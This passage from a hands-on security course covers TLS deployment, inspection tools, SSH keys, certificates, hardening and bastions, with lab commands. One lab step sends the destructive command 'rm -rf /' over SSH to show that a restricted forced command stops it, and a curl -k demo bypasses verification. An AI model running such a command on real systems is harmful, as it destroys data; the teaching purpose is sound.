dig +short CAA wikipedia.org
dig +short CAA github.com

# 3. Inspect OCSP / stapling on a real site
echo | openssl s_client -connect wikipedia.org:443 -servername wikipedia.org \
        -status 2>/dev/null | grep -A 6 "OCSP response"

# 4. Run a real ACME issuance in a container (staging environment -- no rate limits)
docker run --rm -it -p 80:80 certbot/certbot certonly --standalone \
   --staging --non-interactive --agree-tos -m you@example.com \
   -d "$(curl -s ifconfig.me).nip.io" 2>&1 | tail -20
   # (nip.io gives you a real DNS name for any IP -- handy for labs)

# 5. Look at your OS trust store
security find-certificate -a -p /System/Library/Keychains/SystemRootCertificates.keychain 2>/dev/null | grep -c "BEGIN CERT"   # macOS
# ls /etc/ssl/certs/ | head                                                    # Linux

Mini-project (45 min): CT monitor for your domain

   Build a script that:
   1. Every run, queries crt.sh (or certstream) for all certs issued for
      YOUR domain (or wikipedia.org for practice) in the last 24h.
   2. Diffs against a stored list of known/expected certs (issuer + SANs).
   3. On anything unexpected: prints a loud alert (and, optionally, sends
      a notification).
   4. Cron it hourly.

   This is exactly what real security teams run. An unexpected cert for
   your domain = someone is preparing to impersonate you, or an internal
   team went around process. Either way you want to know in minutes.

Chapter 31 — TLS in production

Where TLS terminates

   PATTERN A -- terminate at the edge (load balancer / CDN / reverse proxy)
     client --TLS--> [ LB / Cloudflare / nginx ] --plaintext or new TLS--> app

     + central cert management, offload crypto from app servers
     + WAF, rate limiting, HTTP routing all see plaintext
     - traffic from LB to app is in the clear unless you re-encrypt
       -> inside a trusted network boundary? maybe OK. Zero-trust? no.
     - the app doesn't see the real client IP / TLS details unless the
       LB forwards them (X-Forwarded-For, PROXY protocol) -- and if it
       forwards them, you must NOT trust those headers from anywhere else

   PATTERN B -- terminate at the app (or a sidecar)
     client --TLS--> app

     + end-to-end encrypted to the process
     - each app instance manages certs, does its own crypto

   PATTERN C -- re-encrypt / TLS everywhere (service mesh, mTLS)
     client --TLS--> [ LB ] --mTLS--> [ sidecar ] --mTLS--> service
     + zero-trust: every hop authenticated and encrypted
     - operational complexity; mesh (Istio, Linkerd) or careful automation

Most real systems are A with re-encryption for sensitive backends. Know which one you have and where plaintext exists.

mTLS — authenticating the client too

Normal TLS authenticates only the server. Mutual TLS also makes the client present a certificate.

   Server config: request (or require) a client cert, verify it against a
   CA you control.

   USE FOR:  service-to-service auth inside your infra, API clients,
             admin access, IoT fleets, bank/partner integrations.
   NOT FOR:  general public web users (cert distribution to humans is
             miserable; use WebAuthn/passkeys instead -- Part 10).

   mTLS gives you strong, phishing-proof client identity. The hard parts
   are ISSUING client certs, ROTATING them, and REVOKING them -- i.e. you
   now run a mini-PKI. SPIFFE/SPIRE, step-ca, or a mesh automate this.

A sane TLS configuration (2026)

   Protocols:     TLS 1.3 + TLS 1.2.  Disable 1.1, 1.0, SSLv3.
   TLS 1.2 suites (if you must support it): ECDHE + AES-GCM or
                  CHACHA20-POLY1305 only. No CBC, RC4, 3DES, static RSA,
                  NULL, EXPORT, anon.
   TLS 1.3 suites: the default five are fine; prefer AES-256-GCM /
                  CHACHA20-POLY1305.
   Key exchange:  X25519 (and P-256). Add X25519MLKEM768 if supported (Ch 25).
   Certs:         ECDSA P-256 leaf (smaller, faster) with an RSA fallback
                  chain only if you still serve very old clients.
   OCSP stapling: on.
   Session:       tickets with frequent key rotation, or stateful cache.
                  0-RTT: off, unless you've audited every early-data path.
   HSTS:          Strict-Transport-Security: max-age=31536000;
                  includeSubDomains; preload   (see below)
   Renewal:       automated (ACME). Alert if a cert is < 20 days from expiry.

   Don't hand-write this. Use Mozilla's SSL Config Generator ("intermediate"
   profile) for your server, then verify with testssl.sh / SSL Labs.

HSTS — forcing HTTPS

   Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

   Tells the browser: "for the next year, NEVER talk to this host over
   plain HTTP, and don't let the user click through cert errors."

   * Defeats sslstrip (attacker downgrades your redirect to HTTP).
   * First visit is still unprotected -> the PRELOAD LIST (hstspreload.org)
     ships the rule in the browser itself. Submitting is a commitment:
     removal takes months. Make sure ALL subdomains do HTTPS first.

The classic misconfigurations (all seen in the wild)

   [ ] Disabled certificate verification in a client
       curl -k / verify=False / rejectUnauthorized:false /
       a TrustManager that does nothing / NSURLSession delegate that
       always trusts. -> total MITM exposure. GREP YOUR CODEBASE FOR THIS.
   [ ] Mixed content: HTTPS page loads http:// scripts -> downgrade point.
   [ ] Missing intermediate in the served chain (Ch 29).
   [ ] Wildcard cert shared across trust boundaries / teams / tenants.
   [ ] Private key committed to git, or world-readable, or copied to laptops.
   [ ] Same key reused when renewing for years (rotate the key, not just
       the cert).
   [ ] TLS 1.0/1.1 still enabled "for that one old client".
   [ ] Cert covers apex but not www (or vice versa).
   [ ] Internal services on self-signed certs with verification turned off
       "because it's internal" -> run an internal CA instead.
   [ ] Trusting X-Forwarded-For / X-Forwarded-Proto from outside the LB
       -> spoofed client IP, bypassed "HTTPS-only" checks.
   [ ] Expired cert in a background job / cron / mobile pinning config that
       nobody monitors.
   [ ] HSTS preload submitted before a subdomain was HTTPS-ready -> outage.

Certificate pinning — powerful and dangerous

   Pin = your app refuses any cert/key except specific known ones,
   ignoring the normal CA trust decision.

   + defeats a mis-issued or rogue-CA cert entirely
   - if you pin and then need to rotate keys/CAs and forgot to ship a
     backup pin, your app BRICKS itself until an update propagates.
     (This has caused multi-day outages at large companies.)

   Rules if you pin (mostly mobile apps talking to your own API):
     * pin to a CA or intermediate SPKI, not the leaf
     * always ship >= 2 pins including an offline backup key
     * set an expiry; have a killswitch
   For the general web, HPKP (the header version) was removed by browsers
   for exactly these footguns. Use CT monitoring + CAA instead.

cd ~/sec-lab/scratch

# 1. Grade a real site
docker run --rm -ti drwetter/testssl.sh https://wikipedia.org
# or: testssl.sh --fast https://your-service

# 2. Stand up a properly-configured local HTTPS server with your Ch 29 CA
cd ~/sec-lab/ca
openssl s_server -accept 8443 -cert shop.crt -key shop.key \
        -CAfile ca.crt -tls1_3 -www &
curl --cacert ca.crt https://localhost:8443 -sI      # trusts your CA -> works
curl                 https://localhost:8443 -sI      # no CA -> cert error (good)
curl -k              https://localhost:8443 -sI      # -k bypasses -> DANGER demo
kill %1

# 3. Add mutual TLS
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out client.key
openssl req -new -key client.key -subj "/CN=orders-api-client" -out client.csr
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
        -days 30 -out client.crt
openssl s_server -accept 8443 -cert shop.crt -key shop.key \
        -CAfile ca.crt -Verify 1 -tls1_3 -www &
curl --cacert ca.crt https://localhost:8443 -sI                    # 400/handshake fail: no client cert
curl --cacert ca.crt --cert client.crt --key client.key \
     https://localhost:8443 -sI                                    # OK: client authenticated
kill %1

# 4. Find verification-disabled code (run against your own repos)
grep -rniE "verify=false|rejectUnauthorized|InsecureSkipVerify|NSAllowsArbitraryLoads|curl.*-k|--insecure|trustAllCerts|ALLOW_ALL_HOSTNAME" . 2>/dev/null

# 5. Check HSTS and headers on your services
curl -sI https://wikipedia.org | grep -i -E "strict-transport|content-security"

Mini-project (60 min): "TLS posture" report

   Write a tool `tls-audit <host:port>` that reports:
     - negotiated protocol + cipher + key-exchange group
     - full chain: each cert's subject, issuer, SANs, validity, days left,
       key type/size, signature algorithm
     - whether the served chain is complete (no missing intermediate)
     - HSTS present? max-age? includeSubDomains? preload-eligible?
     - OCSP stapling present?
     - CAA records for the domain
     - recent CT log entries for the domain (crt.sh)
     - a PASS/WARN/FAIL summary against the "sane config 2026" list above
   Run it against 5 sites you use. Then against your own.

Chapter 32 — Hands-on: inspecting and testing TLS

Why this chapter exists

A security engineer inspects TLS constantly — debugging a handshake failure, auditing a vendor, verifying a fix. This is the toolbox, consolidated.

openssl s_client — the swiss army knife

# Basic connect, show the negotiated params and chain
openssl s_client -connect example.com:443 -servername example.com -brief </dev/null

# Full detail: every handshake message and state transition
openssl s_client -connect example.com:443 -servername example.com \
        -msg -state -debug </dev/null 2>&1 | less

# Just the leaf certificate, decoded
openssl s_client -connect example.com:443 -servername example.com </dev/null \
        2>/dev/null | openssl x509 -noout -text

# The whole chain as presented
openssl s_client -connect example.com:443 -servername example.com \
        -showcerts </dev/null 2>/dev/null

# Force a protocol version (probe support)
openssl s_client -connect example.com:443 -tls1_2 </dev/null
openssl s_client -connect example.com:443 -tls1_1 </dev/null   # should fail now

# Force / probe a key-exchange group (incl. post-quantum, needs OpenSSL 3.5+)
openssl s_client -connect example.com:443 -groups X25519 </dev/null
openssl s_client -connect example.com:443 -groups X25519MLKEM768 </dev/null

# Check OCSP stapling
openssl s_client -connect example.com:443 -status </dev/null 2>/dev/null \
        | grep -A5 "OCSP Response Status"

# SNI matters: without -servername you may get the wrong/default cert
openssl s_client -connect example.com:443 </dev/null 2>/dev/null \
        | openssl x509 -noout -subject

# Test a specific cipher (TLS 1.2)
openssl s_client -connect example.com:443 -cipher 'ECDHE-ECDSA-AES256-GCM-SHA384' </dev/null

# STARTTLS for mail/other protocols
openssl s_client -connect smtp.example.com:587 -starttls smtp </dev/null

# Client certificate (mTLS)
openssl s_client -connect api.example.com:443 -cert client.crt -key client.key </dev/null

# Measure handshake time
openssl s_time -connect example.com:443 -new -time 5

openssl x509 / req / verify — certificate work

# Decode a cert file
openssl x509 -in cert.pem -noout -text
openssl x509 -in cert.pem -noout -subject -issuer -dates -serial -fingerprint -sha256
openssl x509 -in cert.pem -noout -ext subjectAltName

# Decode a CSR
openssl req -in request.csr -noout -text -verify

# Verify a chain
openssl verify -CAfile root.pem -untrusted intermediates.pem leaf.pem
openssl verify -show_chain -CAfile /etc/ssl/cert.pem leaf.pem

# Does this key match this cert? (the moduli / pubkeys must match)
openssl x509 -in cert.pem -noout -pubkey | openssl md5
openssl pkey -in key.pem -pubout       | openssl md5      # same -> they match

# Convert formats
openssl x509 -in cert.pem -outform der -out cert.der
openssl pkcs12 -export -in cert.pem -inkey key.pem -out bundle.p12    # PEM -> PKCS12
openssl pkcs12 -in bundle.p12 -nodes -out all.pem                     # PKCS12 -> PEM

# CRL / OCSP by hand
openssl crl -in list.crl -noout -text
openssl ocsp -issuer intermediate.pem -cert leaf.pem -text \
        -url http://ocsp.the-ca.example

Purpose-built tools

# testssl.sh -- comprehensive, offline-capable, scriptable
docker run --rm -ti drwetter/testssl.sh https://example.com
testssl.sh --severity HIGH --jsonfile out.json https://example.com

# sslyze -- fast, Python, great for CI gates
pipx run sslyze example.com:443
pipx run sslyze --json_out r.json --mozilla_config=intermediate example.com

# nmap TLS scripts
nmap --script ssl-enum-ciphers,ssl-cert -p 443 example.com

# hey / curl for behaviour
curl -v --tlsv1.3 --tls-max 1.3 https://example.com
curl --cacert myca.pem --cert client.pem --key client.key https://api.example.com

# Wireshark: filter tls.handshake ; with SSLKEYLOGFILE set, decrypt your own
SSLKEYLOGFILE=/tmp/k.log curl -s https://example.com -o /dev/null

Reading a testssl.sh / SSL Labs report

   Look for, in rough priority:
     * Protocols: TLS 1.3 yes, 1.2 yes, everything below NO
     * Cipher categories: only AEAD; no CBC/RC4/3DES/EXPORT/NULL/anon
     * Forward secrecy: on all suites
     * Cert: not expiring soon, SANs correct, chain complete, sane key size,
       SHA-256 signature, CT SCTs present
     * Vulnerabilities section: all "not vulnerable" (Heartbleed, ROBOT,
       CCS, Ticketbleed, BEAST, POODLE, Lucky13, Sweet32, DROWN, Logjam,
       FREAK, CRIME, BREACH*)  (*BREACH is app-level -- separate fix)
     * HSTS present, long max-age
     * OCSP stapling present
   Grade target: A or A+. Anything less, read WHY and fix it.

   Build "SecureShop's front door" locally and prove it's sound:

   1. Using your Ch 29 mini-CA, issue an ECDSA P-256 leaf for
      shop.securesh.op (SAN: shop.securesh.op, www.securesh.op).
   2. Add shop.securesh.op -> 127.0.0.1 to /etc/hosts. Add ca.crt to a
      trust store (or use --cacert everywhere).
   3. Run a TLS 1.3-only server (nginx, Caddy, or `openssl s_server`)
      serving a "hello" page, with:
        - TLS 1.3 + 1.2 (ECDHE + AEAD only), 1.0/1.1 disabled
        - HSTS header (max-age 1 year, includeSubDomains)
        - OCSP stapling if your setup supports it
        - HTTP :80 -> 301 redirect to HTTPS
   4. Add an /admin location that requires mTLS (client cert from your CA).
   5. Verify with: curl (trusted + -k), openssl s_client -msg,
      testssl.sh, sslyze. Screenshot an A-grade-equivalent result.
   6. Now BREAK each control and confirm the tools catch it:
        - enable TLS 1.0        -> testssl flags it
        - serve without the intermediate -> curl fails, browsers may not
        - use an expired leaf   -> verify fails
        - wrong SAN             -> hostname mismatch
        - remove HSTS           -> sslstrip becomes possible (explain)
        - drop -Verify on /admin-> anyone reaches admin
   7. Write it up in ~/sec-lab/reports/part7-tls.md: what you built, what
      each tool showed, what each break looked like. This is your first
      real security report -- Part 12 builds on it.

Chapter 33 — What SSH is, and the connection protocol

   Before SSH (mid-1990s): telnet, rlogin, rsh, rcp, ftp.

   telnet admin@server  ->  username and password sent in PLAINTEXT
   across the network. Every hop sees your root password. Session
   contents visible and injectable.

   SSH (1995, then the open OpenSSH in 1999) = "secure shell": the same
   remote-login workflow, inside strong crypto.

The three layers

   +--------------------------------------------------------------+
   |  CONNECTION protocol  (RFC 4254)                              |
   |    multiplexes the single encrypted pipe into CHANNELS:       |
   |    interactive shell, exec, port-forwards (-L/-R/-D),         |
   |    X11, SFTP subsystem, agent-forwarding. Many at once.       |
   +--------------------------------------------------------------+
   |  USER AUTHENTICATION protocol  (RFC 4252)                     |
   |    proves WHO the client is: publickey, password,             |
   |    keyboard-interactive (2FA), hostbased, GSSAPI.             |
   +--------------------------------------------------------------+
   |  TRANSPORT protocol  (RFC 4253)                               |
   |    key exchange (ECDHE / PQ), SERVER authentication via its   |
   |    host key, then AEAD-encrypted, integrity-protected records.|
   |    Also: algorithm negotiation, rekeying.                     |
   +--------------------------------------------------------------+
                          over  TCP :22

Order matters: the transport layer builds the secure channel and authenticates the server first; only then does the client authenticate the user inside that channel. Your password or key proof is never sent in the clear.

The transport handshake

   CLIENT                                            SERVER
   ------                                            ------
   ---- TCP connect :22 ------------------------->
   <--- "SSH-2.0-OpenSSH_10.2" banner ------------>   (both send version strings)
   ---- KEXINIT: my kex / cipher / MAC / hostkey lists -->
   <--- KEXINIT: server's lists ------------------>   (each picks the first
                                                      mutually-supported option)

   ---- key exchange (default: mlkem768x25519-sha256 on OpenSSH 10,
        or sntrup761x25519 on 9.x; else curve25519-sha256) ------->
   <--- server's ephemeral KEX public value
        + SERVER HOST KEY (public)
        + SIGNATURE over the exchange hash with the host key ------

   *** both derive the shared secret -> keys. Channel now encrypted
       with chacha20-poly1305 or aes-256-gcm, integrity via the AEAD
       tag or an EtM HMAC. ***

   ---- (client verifies the host key against known_hosts -- Ch 34) --
   ---- USERAUTH begins, inside the encrypted channel --------------

Two things worth noting:

• SSH used ephemeral DH for forward secrecy from the start — years before TLS made it mandatory.
• SSH already ships post-quantum key exchange by default. OpenSSH 9.0 (2022) made sntrup761x25519 a default; OpenSSH 10.0 (2025) made hybrid mlkem768x25519-sha256 the top preference. If both ends are recent, your SSH is already HNDL-resistant (Chapter 23). Check with ssh -Q kex.

User authentication methods

   publickey            client signs a challenge with its private key;
                        server checks against authorized_keys / a CA.
                        THE ONLY METHOD YOU SHOULD RELY ON.

   password             sent encrypted (not plaintext like telnet), but
                        brute-forceable, phishable, reused. Disable it on
                        anything internet-facing.

   keyboard-interactive generic prompt/response -> used for TOTP/OATH 2FA,
                        PAM. Combine with publickey for MFA.

   hostbased            the client HOST vouches for the user. Niche (HPC).

   gssapi-with-mic      Kerberos. Common in enterprise/AD environments.

   MFA in OpenSSH:  AuthenticationMethods publickey,keyboard-interactive
                    -> requires BOTH, in order.

The channel multiplexing (why one SSH connection does so much)

   One TCP:22 connection, many logical channels:

     session   ->  your interactive shell  (or a single `ssh host cmd`)
     direct-tcpip   ->  ssh -L  local forward  (expose a remote service locally)
     forwarded-tcpip -> ssh -R  remote forward (expose a local service remotely)
     "dynamic" ->  ssh -D  SOCKS proxy (route arbitrary TCP through the host)
     x11       ->  forwarded GUI apps
     subsystem ->  sftp (file transfer over the same secure channel)
     auth-agent-> agent forwarding (Ch 34 -- convenient and risky)

   ControlMaster lets multiple `ssh` invocations to the same host SHARE
   one connection -> near-instant subsequent logins.

# 1. See the version banners and negotiated algorithms
ssh -vv localhost exit 2>&1 | grep -E "remote software version|kex:|cipher:|mac:|Server host key"

# 2. What key exchange / ciphers does your client offer?
ssh -Q kex
ssh -Q cipher
ssh -Q key
ssh -G localhost | grep -iE "^kexalgorithms|^ciphers|^macs"

# 3. Is PQ key exchange in the default list?
ssh -Q kex | grep -E "mlkem|sntrup"     # yes on OpenSSH 9+/10+

# 4. Watch the channel protocol: open a shell, a port-forward, and sftp
#    over ONE connection using multiplexing
mkdir -p ~/.ssh/cm
cat >> ~/.ssh/config <<'EOF'

Host localtest
    HostName localhost
    ControlMaster auto
    ControlPath ~/.ssh/cm/%r@%h:%p
    ControlPersist 60
EOF
ssh localtest true            # opens the master
ssh -O check localtest        # "Master running"
ssh localtest hostname        # reuses it -- instant
ssh -O exit localtest         # close it

Chapter 34 — Keys, agents, and host verification

Generating a user key — pick Ed25519

   ssh-keygen -t ed25519 -C "you@laptop-2026"
   # -> ~/.ssh/id_ed25519       (PRIVATE -- 0600, never leaves the machine)
   #    ~/.ssh/id_ed25519.pub   (PUBLIC  -- copy this around freely)

Always set a passphrase on the private key. It encrypts the key file at rest (OpenSSH uses bcrypt-KDF + a stream cipher), so a stolen laptop doesn't equal a stolen key. The agent (below) means you type it once per session.

The SSH agent

   ssh-agent holds your DECRYPTED private keys in memory and does the
   signing on request, so you unlock once instead of per-connection.

     eval "$(ssh-agent -s)"          # start it (your desktop usually has one)
     ssh-add ~/.ssh/id_ed25519      # unlock and load (prompts for passphrase)
     ssh-add -l                      # list loaded keys
     ssh-add -t 8h ~/.ssh/id_ed25519  # auto-expire after 8 hours
     ssh-add -D                      # drop all keys now

   macOS: `ssh-add --apple-use-keychain` stores the passphrase in Keychain.

Agent forwarding — convenient, and a real risk

   ssh -A jump-host       # forwards your agent socket to the remote

   Now from jump-host you can `ssh` onward without copying keys there.
   BUT: anyone with root on jump-host (or who compromises it) can use
   your forwarded agent to authenticate AS YOU to anything your keys
   open, for as long as you're connected. This is how attackers
   pivot through bastions.

   SAFER ALTERNATIVES:
     * ProxyJump (-J):   ssh -J jump-host target
       The jump host only forwards bytes; it never sees your agent or keys.
       Use this. It's the modern answer.
     * ssh-add -c :      require confirmation for each signing operation
     * per-host agent forwarding only where you truly need it, never by
       default, never to hosts you don't fully trust.

Rule: -J (ProxyJump), not -A (agent forwarding), unless you have a specific reason.

Host verification: trust on first use (TOFU)

The web has CAs vouch for server identity. Base SSH does not — it uses TOFU:

   FIRST connection to a host:

     The authenticity of host 'server (203.0.113.5)' can't be established.
     ED25519 key fingerprint is SHA256:D7hjS2f3jYzxkSBEqJULOG3wQDOQiUnR4KHh...
     Are you sure you want to continue connecting (yes/no)?

   If you type "yes", the host's public key is pinned in ~/.ssh/known_hosts.

   EVERY later connection: the presented host key is compared to the
   pinned one.
     * match   -> connect silently
     * MISMATCH -> big scary warning, connection REFUSED:
        "REMOTE HOST IDENTIFICATION HAS CHANGED!"  "POSSIBLE DNS SPOOFING"
       -> could be a reinstalled server... or a man-in-the-middle. Verify
          out of band before removing the old line.

The weak moment is that first "yes". If an attacker is in the path on your very first connection, you pin their key. Mitigations:

   * Verify the fingerprint OUT OF BAND on first connect: cloud console,
     provisioning output, a colleague, config management.
   * Distribute known_hosts via config management (Ansible/Chef/MDM) so
     hosts are pre-trusted -- no human TOFU prompt at all.
   * Publish host keys in DNS with SSHFP records + DNSSEC, and set
     `VerifyHostKeyDNS yes`.
   * Use an SSH CA (Chapter 35): sign host keys, put ONE line
     (@cert-authority) in known_hosts, and TOFU disappears entirely.

authorized_keys — how the server decides who's in

   ~/.ssh/authorized_keys on the server, one public key per line.
   Optional per-key RESTRICTIONS (use them):

     restrict,pty,command="/usr/bin/backup" ssh-ed25519 AAAA... backup-bot
     from="10.0.0.0/8",no-agent-forwarding ssh-ed25519 AAAA... alice
     no-port-forwarding,no-X11-forwarding,command="git-shell" ssh-ed25519 ...

   restrict = "deny everything, then add back only what I list". Start there.
   command="..." = force a single command regardless of what the client asks
                   -> the basis of locked-down deploy/backup/git accounts.

Manage this file with configuration management, not by hand. Deprovisioning a person = remove their key from every host, so keep it centralised.

cd /tmp && rm -rf sshlab && mkdir sshlab && cd sshlab

# 1. Make two keys and inspect them
ssh-keygen -t ed25519 -f alice -N 'correct horse' -C alice@lab -q
ssh-keygen -t ed25519 -f bot   -N ''              -C deploy-bot -q
ssh-keygen -lf alice.pub                 # SHA256 fingerprint
ssh-keygen -lf alice.pub -E md5          # legacy MD5 form
ssh-keygen -lvf alice.pub                # + randomart (visual fingerprint)

# 2. See the encrypted-at-rest private key format
head -1 alice        # -----BEGIN OPENSSH PRIVATE KEY-----
ssh-keygen -y -f alice                    # derive .pub from private (needs passphrase)

# 3. Agent workflow
eval "$(ssh-agent -s)"
SSH_ASKPASS='' ssh-add alice              # will prompt for 'correct horse'
ssh-add -l
ssh-add -c bot                            # load with confirm-on-use
ssh-add -D                                # clear

# 4. TOFU + known_hosts, locally
#    (start a throwaway sshd on a high port -- or just use `localhost`)
ssh -o UserKnownHostsFile=./kh -o StrictHostKeyChecking=ask localhost true
cat ./kh                                  # the pinned host key line
#    now simulate a key change: edit one base64 char in ./kh, reconnect,
#    and watch the "IDENTIFICATION HAS CHANGED" refusal.

# 5. Restricted authorized_keys
printf 'restrict,command="echo locked-down; id" %s\n' "$(cat bot.pub)" \
  >> ~/.ssh/authorized_keys
ssh -i bot -o IdentitiesOnly=yes localhost "rm -rf /"   # runs the forced cmd, NOT rm
#    remove that line afterwards.

Chapter 35 — SSH certificates, hardening, and bastions

Why authorized_keys doesn't scale

   50 engineers x 500 servers = up to 25,000 authorized_keys entries to
   keep in sync. When someone leaves, you must scrub their key from all
   500. When a host is rebuilt, every client re-TOFUs. Stale keys linger
   for years. This is a real, common source of breaches.

SSH certificates

An SSH certificate is a public key plus metadata (principals, validity window, options), signed by a CA key. It works for both directions:

   HOST CERTIFICATES  -- kills TOFU
     * Generate a CA keypair. Keep the CA private key offline / in an HSM /
       in a signing service.
     * Sign each server's host key -> host certificate with principal =
       the hostname(s).
     * Clients get ONE line in known_hosts:
         @cert-authority *.securesh.op ssh-ed25519 AAAA...<CA pubkey>
     * Now any host presenting a valid cert for its name is trusted.
       No prompts, no per-host pinning, rebuilds are painless.

   USER CERTIFICATES  -- kills authorized_keys sprawl
     * User authenticates to an identity provider (SSO/OIDC + MFA).
     * A signing service issues a SHORT-LIVED cert (e.g. 1-24 h) binding
       their key to principals (usernames/roles) they're entitled to.
     * Servers trust the CA:
         # /etc/ssh/sshd_config
         TrustedUserCAKeys /etc/ssh/user_ca.pub
     * No per-user keys on servers. Deprovisioning = stop issuing certs;
       access expires by itself within hours.

   # Issue a user cert valid 8h, principals alice+deployers, with restrictions
   ssh-keygen -s user_ca -I "alice@2026-09-10" \
     -n alice,deployers -V +8h \
     -O clear -O permit-pty -O permit-port-forwarding \
     -O source-address=10.0.0.0/8 \
     alice_ed25519.pub
   # -> alice_ed25519-cert.pub   (ssh presents it automatically alongside the key)

   ssh-keygen -Lf alice_ed25519-cert.pub    # inspect: principals, validity, options

Force expiry (-V) is the point. Short-lived certs make revocation a non-problem: a leaked cert dies on its own in hours. (There's also a RevokedKeys / KRL mechanism for the rare urgent case.)

Tools that do all this for you: HashiCorp Vault SSH secrets engine, smallstep step-ca, Teleport, Netflix BLESS, Cloudflare Access / GCP OS Login for the managed path.

Hardening sshd_config

A solid baseline (adapt paths; test with sshd -t before reload):

   # --- authentication ---
   PermitRootLogin no                    # or prohibit-password if you must
   PasswordAuthentication no
   KbdInteractiveAuthentication no       # unless you use it for TOTP MFA
   PubkeyAuthentication yes
   AuthenticationMethods publickey       # add ,keyboard-interactive for MFA
   MaxAuthTries 3
   LoginGraceTime 20
   AllowGroups ssh-users                 # allowlist, not everyone

   # --- trust anchors ---
   TrustedUserCAKeys /etc/ssh/user_ca.pub
   HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub
   HostKey /etc/ssh/ssh_host_ed25519_key

   # --- reduce attack surface ---
   AllowTcpForwarding no                 # yes only on bastions that need it
   AllowAgentForwarding no
   X11Forwarding no
   PermitTunnel no
   PermitUserEnvironment no
   AllowStreamLocalForwarding no

   # --- modern crypto only (OpenSSH 9+/10+) ---
   KexAlgorithms mlkem768x25519-sha256,sntrup761x25519-sha512@openssh.com,curve25519-sha256
   Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
   MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
   HostKeyAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256
   PubkeyAcceptedAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256

   # --- logging / containment ---
   LogLevel VERBOSE                      # logs key fingerprints used to auth
   Banner none
   ClientAliveInterval 300
   ClientAliveCountMax 2
   # Match blocks for per-group restriction, chroot for SFTP-only users, etc.

Then: ssh-audit localhost and fix whatever it flags.

The bastion (jump host) pattern

                            internet
                               |
                        +------------+          hardened, minimal, heavily
                        |  BASTION   |          logged, MFA, no forwarding
                        | (public)   |          except what's needed, its
                        +------------+          own audited sshd
                               |  (private network only)
              +----------------+----------------+
              |                |                |
          app-01           app-02            db-01     (sshd listens on the
        no public IP     no public IP     no public IP   private interface only)

   Client:   ssh -J bastion.securesh.op app-01.internal
             (ProxyJump: bastion forwards TCP; never sees your keys/agent)

   Even better: bastion + user certificates + session recording
     -> every session is authenticated to a real identity, time-boxed,
        and replayable for audit. This is what Teleport / Vault / Boundary
        / AWS SSM Session Manager give you.

Modern alternative: agent-based / identity-aware access (AWS SSM Session Manager, GCP IAP, Tailscale SSH, Cloudflare Access) removes the public SSH port entirely — the host dials out or a control plane brokers the session.

   Build the whole thing locally with containers or VMs:

   1. CA: ssh-keygen -t ed25519 -f user_ca -C "SecureShop User CA"
          ssh-keygen -t ed25519 -f host_ca -C "SecureShop Host CA"
          (in reality user_ca lives in Vault/step-ca/an HSM)

   2. HOST side: on each "server", sign its host key with host_ca
          ssh-keygen -s host_ca -I app-01 -h -n app-01.securesh.op -V +52w \
              /etc/ssh/ssh_host_ed25519_key.pub
      Configure sshd: HostCertificate ..., TrustedUserCAKeys /etc/ssh/user_ca.pub

   3. CLIENT side: one line in known_hosts:
          @cert-authority *.securesh.op <contents of host_ca.pub>
      Connect -> NO TOFU prompt. Rebuild a host, re-sign -> still no prompt.

   4. USER side: write `ssh-issue <user> <principals>` that signs the
      user's key with user_ca, -V +8h, with source-address + permit-pty
      only. Connect with the cert.

   5. Prove the properties:
      - a user cert past its -V window is rejected (set -V +1m, wait).
      - a principal you weren't granted is refused by the server's
        AuthorizedPrincipalsFile / Match.
      - revoke a cert via a KRL (ssh-keygen -k) and confirm refusal.
      - `ssh -J bastion app-01` works; `ssh -A` is refused by config.

   6. Write it up in ~/sec-lab/reports/part8-ssh.md.

Chapter 36 — Hands-on: SSH keys, tunnels, config, and signing

Why this chapter exists

SSH is a daily tool. Fluency with ~/.ssh/config, port forwarding, and ssh-keygen -Y signing pays off constantly. This is the drill.

~/.ssh/config — stop typing flags

   # Global-ish defaults
   Host *
       AddKeysToAgent yes
       IdentitiesOnly yes                 # only offer the key I name (avoids
                                          # "too many auth failures" lockouts)
       ServerAliveInterval 60
       HashKnownHosts yes
       ControlMaster auto
       ControlPath ~/.ssh/cm/%r@%h:%p
       ControlPersist 5m

   Host bastion
       HostName bastion.securesh.op
       User jump
       IdentityFile ~/.ssh/id_ed25519

   Host app-* db-*
       User deploy
       IdentityFile ~/.ssh/id_ed25519_work
       ProxyJump bastion                  # <-- transparently hop via bastion
       RequestTTY auto

   Host github.com
       User git
       IdentityFile ~/.ssh/id_ed25519_github
       IdentitiesOnly yes

   # Then just:  ssh app-01.internal   (user, key, and jump are automatic)

Port forwarding — the three kinds

   LOCAL forward   ssh -L 5433:db.internal:5432 bastion
     "expose the remote db's :5432 on my localhost:5433"
     -> psql -h 127.0.0.1 -p 5433 ... reaches db.internal through the tunnel.

   REMOTE forward  ssh -R 8080:localhost:3000 jump
     "expose MY localhost:3000 on the remote host's :8080"
     -> for demos, webhooks to a laptop. (GatewayPorts on the server
        controls whether :8080 is public or loopback-only there.)

   DYNAMIC forward ssh -D 1080 bastion
     "run a SOCKS5 proxy on localhost:1080 that exits via bastion"
     -> point a browser / curl --socks5 at it to reach an internal network.

   Add  -N  (no shell)  and  -f  (background) for tunnel-only sessions.
   Jump without forwarding anything:  ssh -J bastion target

scp / sftp / rsync over SSH

   # scp's syntax is legacy and footgun-prone; on OpenSSH 9+ it uses the
   # SFTP protocol under the hood. Prefer sftp or rsync for real work.
   sftp app-01.internal          # interactive: get/put/ls/lcd
   rsync -avz --delete ./site/ app-01.internal:/var/www/site/   # uses ssh
   rsync -e 'ssh -J bastion' ...  # rsync through a jump host

SSH message signing with ssh-keygen -Y (no GPG needed)

Since OpenSSH 8.0 you can sign arbitrary files with an SSH key — this is what Git uses for gpg.format ssh.

cd /tmp && mkdir -p ysign && cd ysign
ssh-keygen -t ed25519 -f signer -N '' -C release@securesh.op -q

# SIGN  (namespace scopes the signature's meaning; use "file" for files,
#        "git" is what git uses)
echo "SecureShop release 7.0.0" > NOTES
ssh-keygen -Y sign -f signer -n file NOTES          # -> NOTES.sig

# VERIFY needs an allowed-signers file mapping identity -> public key
